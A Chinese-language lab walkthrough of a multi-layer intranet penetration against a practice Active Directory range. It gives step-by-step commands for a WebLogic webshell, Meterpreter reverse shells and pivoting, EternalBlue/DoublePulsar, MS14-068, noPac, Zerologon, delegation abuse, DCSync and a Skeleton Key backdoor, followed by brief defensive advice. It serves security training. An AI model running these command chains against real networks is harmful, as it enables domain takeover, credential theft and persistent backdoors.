内网靶场--多层内网渗透
字数 1553 2025-08-24 16:48:07
多层内网渗透靶场实战教学文档
靶场环境概述
- Weblogic主机:
- 公网地址: 192.168.2.11
- 内网地址: 10.10.20.12
- 个人域主机 (redteam.com/):
- 网卡1: 10.10.20.7
- 网卡2: 10.10.10.7 (域网段)
- SQLServer主机 (redteam/sqlserver-2008):
- IP: 10.10.10.18
- 设置了非约束委派和约束委派
- 域控主机 (redteam/owa):
- IP: 10.10.10.8
第一阶段: 初始入侵
1. Weblogic漏洞利用
-
端口扫描:
- 发现开放7001端口(Weblogic默认端口)
- 访问http://192.168.2.11:7001/console/login/LoginForm.jsp确认Weblogic控制台
-
漏洞利用:
- 使用工具扫描确认存在漏洞
- 上传JSP木马进行权限维持
-
定位网站根目录:
dir C:\ /s /b | find "login_WebLogic_branding.png"- 找到路径:
C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\login_WebLogic_branding.png - 在相同目录上传Webshell
- 找到路径:
-
连接工具:
- 使用冰蝎连接Webshell
2. 内网信息收集
-
网段扫描:
nbtscan.exe 10.10.20.12/24- 发现另一台主机10.10.20.7
-
漏洞扫描:
fscan.exe -h 10.10.20.12/24 -m ms17010- 确认存在MS17-010(永恒之蓝)漏洞
第二阶段: 横向移动
1. MS17-010利用
-
MSF设置监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.118.129 set lport 1132 run -
添加路由:
run autoroute -s 10.10.20.12/24 run autoroute -p -
设置SOCKS代理:
use auxiliary/server/socks_proxy set version 4a set srvhost 192.168.118.129 set srvport 10011 run -
使用EternalPulse工具攻击:
Eternalblue-2.2.0.exe --InConfig Eternalblue-2.2.0.xml --TargetIp 10.10.20.7 --TargetPort 445 -
生成并上传Payload:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1125 -f dll -o bind.dll -
DoublePulsar利用:
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 10.10.20.7 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload bind.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
2. 域内信息收集
-
查询域控制器:
net group "Domain Controllers" /domain- 确认域控地址为10.10.10.8
-
设置第二层代理:
run autoroute -s 10.10.10.7/24 run autoroute -p use auxiliary/server/socks_proxy set version 4a set srvhost 192.168.118.129 set srvport 10086 run
第三阶段: 域渗透
1. GPP组策略漏洞利用
use windows/gather/credentials/gpp
set session 2
run
- 获取到域用户密码(可用于字典攻击)
2. MS14-068漏洞利用
-
生成票据:
proxychains python2 ms14_068.py -u saul@redteam.red --rc4 e90127c07127ed12f4ebf668acca53e9:518b98ad4178a53695dc997aa02d455c -s S-1-5-21-1359007890-1682372173-1631803504-1135 -
票据注入:
mimikatz kerberos::ptc TGT_saul@redteam.red.ccache
3. CVE-2021-42287 (noPac)漏洞利用
proxychains python3 noPac.py -hashes 00000000000000000000000000000000:518b98ad4178a53695dc997aa02d455c "redteam.red/saul" -dc-ip 10.10.10.8 -dc-host OWA --impersonate administrator -dump -use-ldap
- 成功获取域控管理员hash
4. CVE-2020-1472 (Zerologon)漏洞利用
-
检测并利用漏洞:
mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$" "exit" mimikatz.exe "lsadump::zerologon /target:10.10.10.8 /account:OWA$ /exploit" "exit" -
空密码连接域控:
proxychains python3 secretsdump.py "redteam.red/OWA$"@10.10.10.8 -no-pass -
导出注册表:
proxychains wmiexec.py -hashes <hash密码> "redteam/administrator"@10.10.10.8 reg save hklm\sam sam.save reg save hklm\system system.save reg save hklm\security security.save -
恢复密码:
python3 reinstall_original_pw.py OWA 10.10.10.8 1235c5b0e62d03dffeff03b2c9ec5f62
5. 约束委派利用
-
查询约束委派服务账户:
AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto -
横向攻击:
- 使用之前获取的密码(Admin12345, admin!@#45)进行横向移动
fscan.exe -h 10.10.10.8/24 -m smb -user administrator -pwdf mima.txt -
票据请求与利用:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:YUkong.kirbi" "exit" kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" "exit" mimikatz "kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi" "exit"
第四阶段: 权限维持
1. 导出域内所有hash
-
DCSync攻击:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.red /all /csv" "exit" -
导出ntds.dit文件:
ntdsutil snapshot "activate instance ntds" create quit quit ntdsutil snapshot "mount {e1122719-433f-4d20-88e7-336954dcc21a}" quit quit copy C:\$SNAP_202301241547_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit reg save hklm\system c:\system.hive ntdsutil snapshot "unmount {30144165-7f1b-4732-b93f-f1567c6e3975}" "delete {30144165-7f1b-4732-b93f-f1567c6e3975}" quit quit -
使用脚本导出:
proxychains python3 secretsdump.py redteam.red/administrator:Admin123456@10.10.10.8 -just-dc-ntlm
2. Skeleton Key后门
mimikatz privilege::debug
mimikatz misc::skeleton
- 设置万能密码"mimikatz",任何域用户都可以使用此密码进行认证
总结与防御建议
攻击路径总结
- 通过Weblogic漏洞获取初始立足点
- 利用MS17-010进行内网横向移动
- 通过GPP漏洞获取域用户凭证
- 利用多个Kerberos相关漏洞(MS14-068、noPac、Zerologon)提升至域管理员
- 使用约束委派进行权限扩展
- 通过DCSync获取域内所有hash
- 设置Skeleton Key进行权限维持
防御建议
-
及时修补漏洞:
- 定期更新Weblogic等中间件
- 修补MS17-010等严重漏洞
-
强化域安全:
- 禁用不必要的委派设置
- 监控异常Kerberos票据请求
- 定期检查GPP设置
-
加强监控:
- 监控DCSync操作
- 检测异常的身份验证尝试(如Skeleton Key)
-
最小权限原则:
- 限制域管理员权限
- 实施网络分段,限制横向移动
-
凭证保护:
- 使用LSA保护防止凭证转储
- 实施强密码策略